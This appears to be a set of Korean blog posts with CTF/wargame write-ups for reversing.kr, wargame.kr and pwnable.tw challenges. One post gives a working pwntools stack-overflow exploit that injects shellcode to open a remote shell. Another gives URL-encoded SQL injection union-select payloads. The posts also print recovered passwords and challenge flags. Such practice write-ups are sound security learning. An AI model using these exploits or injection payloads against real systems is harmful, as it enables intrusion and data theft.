안티디버깅코드가 복잡해 보여서 


패킹 풀렸을 떄 oep를 바꿔서 덤프 떴다.


덤프 뜬 이후에도 안티디버깅 기법이 엄청 들어가있었다.

PEB 의 debugging flag를 확인하고 (fs:30)

ZwQueryInformationProcess 로 또 디버깅 유무를 체크한다. -> 참고 : http://ruinick.tistory.com/27

Getthreadcontext로 hardware bp를 체크하고 본격적인 serial루틴이다.


위의 디버깅 체크 루틴을 나는 점프해서 우회했는데 플래그를 직접수정하는 방법도 나중에 시도해 봐야겠다.

serial 분석하는데 중간에 페이크도 있고 진짜 멘탈터져서 

구글을 참고했다.


퓨 지금까지 해본 리버싱 문제중에 가장 더러웠다.

안티디버깅이 이렇게 빡칠줄은 몰랐다.

코드도 계속 바뀌고 입력값에 따라 계속 피드백을 주면서 바껴버린다.

그래서 플래그도 한번에 못찾고 계속 F2를 몇번을 눌렀는지 모르겠다.

리버싱 속도가 빨라지도록 계속 연습해야겠다.


그래도 동적분석이 조금은 익숙해진것같다.



'war game > reversing.kr' 카테고리의 다른 글

[reversing.kr]windows kernel  (0) 2017.03.17
[reversing.kr]crc1  (0) 2017.03.16
[reversing.kr]position  (0) 2017.03.09
[reversing.kr]randomware  (0) 2017.03.08

루틴>

암호화 루틴은 correct 문자열을 따라가면 바로 찾을수 있다.


4글자 소문자 name과 (5)-(5) 형식 11글자 serial을 입력받음

(name[0] name[1])

(name[2] name[3])

으로 그룹을 나누어 하위 5비트를 랜덤 인덱스로 더한다(ex name[0]의 하위 1비트 + name[1]의 하위 4비트)

그 값에다가 6을 더한값을 itoa하여 시리얼과 비교한다.

ex)


'war game > reversing.kr' 카테고리의 다른 글

[reversing.kr]windows kernel  (0) 2017.03.17
[reversing.kr]crc1  (0) 2017.03.16
[reversing.kr]twist1  (0) 2017.03.09
[reversing.kr]randomware  (0) 2017.03.08

분석하면 key를 순환하면서 file을 읽어들여 xor한다.

readme.txt에서 file은 .exe라고 했으니 .exe 포멧임과 exe파일의 널바이트 공간을 참고해서 키를 게싱했다.


encoding decoding에서 고생했다.ㅠ


from codecs import *
import binascii
f=open('./file','rb')
f2=open('./decfile','wb')
#cont=f.read()
key='93 9A 8B 8C 8F 93 9E 86 9C 97 9A 8C 8C 93 9A 8B 8C 8F 93 9E 86 9C 97 9A 8C 8C'.split(' ')
i=0
keylen=len(key)
for i in range(21780):
	a=f.read(1)
	a=int(binascii.hexlify(a).decode(),16)
	k=int(key[i%keylen],16)
	d=a^k
	print('{} ^ {} = {}'.format(hex(a),hex(k),hex(d)))
	f2.write(bytes.fromhex(hex(d)[2:].rjust(2,'0')))
f2.close()

'war game > reversing.kr' 카테고리의 다른 글

[reversing.kr]windows kernel  (0) 2017.03.17
[reversing.kr]crc1  (0) 2017.03.16
[reversing.kr]twist1  (0) 2017.03.09
[reversing.kr]position  (0) 2017.03.09

c# 디컴파일러를 사용해서 보면 

private static void Main(string[] args)
{
    Console.Write("Input your name : ");
    string name = Console.ReadLine();
    Console.Write("Password : ");
    string str2 = myEncrypt(Console.ReadLine(), name);
    if ((name == "BluSH4G") && myCmp(str2, getps(name)))
    {
        Console.WriteLine("\n::Congratulation xD ::\n");
    }
    else
    {
        Console.WriteLine("\n:: WTF AUTH FAILED ::\n");
    }
}

코드를 보면 입력받은 name과 password를 myEncrypt함수로 암호화해서 getps로 가져온 password와 비교한다

getps함수를 보면 서버에서 get form으로 name을 보내면 암호화된 문자열이 나오는데 그 문자열을 encrypt한 문자열과 비교한다.

encrypt는 key가 name인 des연산이고

online decryption site에서 key를 넣어주고 돌려주면 키가 나온다.


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]adm1nkyj  (2) 2017.03.03
[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25



삽질했던게 leak을 할때 세번째 주소를 읽었었는데 스택영역 주소임에도 불구하고 offset이 안맞았다. start의 ret AAAA BBBB CCCC에서 CCCC부분의 주소였는데 aslr이 다르게 적용되는 걸까? 잘 모르겠다 음.. 왜지



from pwn import *
#r=process('./start')
r=remote('chall.pwnable.tw',10000)
payload='A'*20
payload+=p32(0x8048087)
r.recv(1024)
r.send(payload)
leak=u32(r.recv(4))
print hex(leak)
payload = 'A'*20+p32(leak+0x14)+asm(shellcraft.i386.linux.sh())
r.sendline(payload)
r.interactive()


'war game > pwnable.tw' 카테고리의 다른 글

[pwnable.tw]applestore  (0) 2017.03.22
[pwnable.tw]silver_bullet  (0) 2017.03.11
[pwnable.tw]hacknote  (0) 2017.03.09
[pwnable.tw]calc  (0) 2017.03.06
[pwnable.tw]orw  (0) 2017.03.04

다행히 '를 막아놓지 않았음 이를 이용해서 id와 password는 쉽게 알수 있는데


<password>

id=%27%20union%20select%201%2c&pw=%2c3%2c4%2c5%2

xPw4coaa1sslfe

!@SA#$!


<id>

adm1ngnngn

id=%27||1%23



문제는 flag.. as(alias)를 이용한다

select 1,t,3,4 from (select 1,2,3,4 as t union select * from web) as tt;

이런식의 쿼리를 쓰면 칼럼의 위치만 알아도 원하는 칼럼을 출력할 수 있다.

as를 잘 이해하면 저 쿼리를 이해할 수 있다.


<flag>

buhyH3XvBVPJKmnx9F8sLzRp2USTCcOotZ67IgQND5WYdi40alwrkqAEfGMe1j

id=%27%20union%20select%201%2cq%2c3%2c4%2c5%20from%20(select%201%2c2%2c3%2c4%20as%20q%20%2c5%20union%20select%20*%20from%20findflag%5f2)%20as%20t%20limit%201%2c1%23


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]Crypto Crackme Basic  (0) 2017.03.08
[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25

+ Recent posts